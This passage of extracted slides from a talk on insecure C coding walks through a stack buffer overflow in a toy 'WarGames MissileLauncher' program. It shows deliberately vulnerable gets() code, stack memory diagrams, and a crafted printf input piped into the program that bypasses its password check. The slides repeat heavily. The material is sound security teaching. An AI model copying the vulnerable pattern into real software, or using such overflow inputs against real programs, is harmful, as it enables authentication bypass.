void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 110: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/110.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 111: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/111.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
allowaccess (1 byte)
response (8 bytes)n_missiles (4 bytes)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 112: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/112.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0xbffffa40
0xbffffa6c
Let's focus just on our three "stack variables"
![Page 113: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/113.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0xbffffa40
0xbffffa6c
![Page 114: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/114.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
The following happened on my machine as I typed in:
0xbffffa40
0xbffffa6c
![Page 115: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/115.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x88 0xfa 0xff 0xbf0xa0 0x29 0xff 0xb70x02 0x00 0x00 0x000x00 0x40 0xfc 0x000x00 0x00 0x00 0x000x00 0x00 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
![Page 116: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/116.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb7 'g' 'l' 'o' 'b' 'a' 'l' 't' 'h' 'e' 'r' 'm' 'o' 'n' 'u' 'c' 'l' 'e' 'a' 'r' 'w' 'a' 'r' '\0' 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
![Page 117: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/117.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
![Page 118: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/118.jpg)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 119: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/119.jpg)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
![Page 120: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/120.jpg)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
0xbffffa40
0xbffffa6c
![Page 121: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/121.jpg)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
0xbffffa40
0xbffffa6c
![Page 122: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/122.jpg)
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
Because 0x6f6d7265 = 18694436850xbffffa40
0xbffffa6c
![Page 123: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/123.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
0xbffffa40
0xbffffa6c
![Page 124: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/124.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
0xbffffa40
0xbffffa6c
![Page 125: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/125.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
But can you explain why we got both "Access granted" and "Access denied"?
0xbffffa40
0xbffffa6c
![Page 126: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/126.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
But can you explain why we got both "Access granted" and "Access denied"?
The observed phenomenon can actually be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
![Page 127: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/127.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
But can you explain why we got both "Access granted" and "Access denied"?
The observed phenomenon can actually be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
int n_missiles = 2; bool allowaccess = false; char response[8];
...
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
![Page 128: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/128.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
But can you explain why we got both "Access granted" and "Access denied"?
The observed phenomenon can actually be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
int n_missiles = 2; bool allowaccess = false; char response[8];
...
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
![Page 129: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/129.jpg)
0x50 0xfa 0xff 0xbf0x00 0x40 0xfc 0xb70x00 0x00 0x00 0x000x00 0x39 0xe1 0xb70x67 0x6c 0x6f 0x620x61 0x6c 0x74 0x680x65 0x72 0x6d 0x6f0x6e 0x75 0x63 0x6c0x65 0x61 0x72 0x770x61 0x72 0x00 0x000x88 0xfa 0xff 0xbf0x5b 0x85 0x04 0x08
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
$ ./launchWarGames MissileLauncher v0.1Secret: globalthermonuclearwarAccess grantedLaunching 1869443685 missilesAccess deniedOperation complete$
But can you explain why we got both "Access granted" and "Access denied"?
The observed phenomenon can actually be explained if you know how my compiler
works with bool values.
My compiler assumes that bool values are always stored as either 0x00 or 0x01. In this case we have
messed up the internal representation, so allowaccess is now neither true or false. The
machine code generated for this program first evaluated allowaccess to be not false and therefore granted
access, then it evaluated allowaccess to be not true and access was denied (*).
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
0xbffffa40
0xbffffa6c
int n_missiles = 2; bool allowaccess = false; char response[8];
...
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
![Page 130: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/130.jpg)
int n_missiles = 2; bool allowaccess = false; char response[8];
...
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
int n_missiles = 2; char allowaccess = 0x00; char response[8];
...
if (allowaccess != 0x00) { puts("Access granted"); launch_missiles(n_missiles); } if (allowaccess != 0x01) puts("Access denied");
pseudo assemblerC code
Aside: why did we get both access granted and access denied?
gcc
![Page 131: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/131.jpg)
int n_missiles = 2; bool allowaccess = false; char response[8];
...
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");
int n_missiles = 2; char allowaccess = 0x00; char response[8];
...
if (allowaccess != 0x00) { puts("Access granted"); launch_missiles(n_missiles); } if (allowaccess != 0x01) puts("Access denied");
pseudo assemblerC code
Aside: why did we get both access granted and access denied?
gcc
(somehow allowaccess becomes 0x6c)
![Page 132: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/132.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 133: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/133.jpg)
$ printf "12345678\x2a\0\0\0xxx\1" | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
![Page 134: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/134.jpg)
$ printf "12345678\x2a\0\0\0xxx\1" | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
response
![Page 135: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/135.jpg)
$ printf "12345678\x2a\0\0\0xxx\1" | ./launchWarGames MissileLauncher v0.1Secret: Access grantedLaunching 42 missilesOperation complete$
n_missiles allowaccess
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
return address, next intruction in _startpointer to stack frame for _start
high address
low address
return address, next intruction in _mainpointer to stack frame for _main
pointer to the response bufferreturn address, authenticate_and_launch()(whatever gets() needs to do)
allowaccess (1 byte)n_missiles (4 bytes)response (8 bytes)
response
![Page 136: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/136.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
if (strcmp(response, "Joshua") == 0) allowaccess = true;
if (allowaccess) { puts("Access granted"); launch_missiles(n_missiles); } if (!allowaccess) puts("Access denied");}
int main(void){ puts("WarGames MissileLauncher v0.1"); authenticate_and_launch(); puts("Operation complete");}
launch.c
![Page 137: Insecure coding in C (and C++)](https://reader033.vdocuments.us/reader033/viewer/2022051012/53fdcfee8d7f72a81c8b4b39/html5/thumbnails/137.jpg)
void launch_missiles(int n){ printf("Launching %d missiles\n", n); // TODO: implement this function}
void authenticate_and_launch(void){ int n_missiles = 2; bool allowaccess = false; char response[8];
printf("Secret: "); gets(response);
